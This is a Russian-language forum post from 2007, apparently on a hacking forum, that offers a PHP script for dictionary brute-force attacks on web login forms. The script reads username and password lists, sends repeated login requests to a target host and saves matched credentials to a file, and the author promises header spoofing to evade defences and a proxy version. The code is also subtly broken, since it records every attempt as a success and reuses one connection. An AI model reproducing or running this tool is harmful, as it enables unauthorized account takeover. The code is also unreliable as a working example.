
17.04.2007, 03:46
|
|
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме: 1364740
Репутация:
114
|
|
Скрипт простой брутфорс атаки по http.
(Некотрые моменты были упущены и специально не рассмотрены,
чуть позже для наглядности приведу реальный пример, с разбором тела ответа, но пока только так.
Также очень часто для защиты от подобной атаки приложения используют различные проверки по заголовкам,
их помогает избежать подмена данных в заголовках.
Так же чуть позже напишу скрипт брута через прокси)
Скрипту необходимо 2-а файла. 1-ый со списком логинов (каждый логин в новой строке!).
2-ой словарь для брута (каждое слово в новой строке!)
PHP код:
<?php
//массив логинов
$f_log = fopen ('login.txt', 'r');
$login = fread($f_log, 65000);
$name = explode("\n", $login);
for ($i=0; $i<count($name); $i++)
{
$name[$i]=trim($name[$i]);
}
fclose($f_log);
//массив паролей из словаря))
$f_pass = fopen ('pass.txt', 'r');
$passwd = fread($f_pass, 65000);
$pass = explode("\n", $passwd);
for ($i=0; $i<count($pass); $i++)
{
$pass[$i]=trim($pass[$i]);
}
fclose($f_pass);
$hostname = "www.host.ru";
//соединяемся с сервером
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
if(!$fp)
{ //проверяем успешность соединения
echo "$errstr ($errno)<br />\n";
} else {
//собственно брут
for($n=0; $n<count($name); $n++)
{
$path = "/script.php?login=".$name[$n]."&passwd=";
for($p=0; $p<count($pass); $p++)
{
$header = "GET http://".$hostname.$path.$pass[$p]." HTTP/1.0\n\n";
//отправляем запрос
fputs($fp, $header);
//построчно считываем ответ сервера
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
//работаем с ответом
//особенность аутентификации через формы - это невозможность анализа полей
//http заголовков, так как независимо от успешности аутентификации в них будет '200OK'
//соответственно необходим парсинг тела ответа на наличие
//характерных элементов успешной аутентификации
//$rez = fopen('rezcopyline.txt', 'a+'); применяется для
//fputs($rez, $line); отладки
//fclose($rez); скрипта
//здесь несколько строк кода разбора ответа
//шаблонного примера здесь привести не могу
//т.к. абсолютно каждый раз код разный
//если характерный элемент был найден::
$luck = 'Для '.$name[$n].' пароль: '.$pass[$p];
$f_success = fopen('result.txt', 'a+');
fputs($f_success, $luck); //пишем результат в файл
fclose($f_success);
echo '<br>';
echo 'Для '.$name[$n].' пароль: '.$pass[$p];
echo '<br>';
}
}
}
fclose($fp);
?>
зы:: под мелкие нужды легко вносятся изменения или модификации.
ззы:: если у кого возникли вопросы и предложения,в личку!
зззы:: всю конструктивную критику с удовольствием принимаю!!
Последний раз редактировалось mR_LiNK[deface_0nl; 17.04.2007 в 03:52..
|
|
|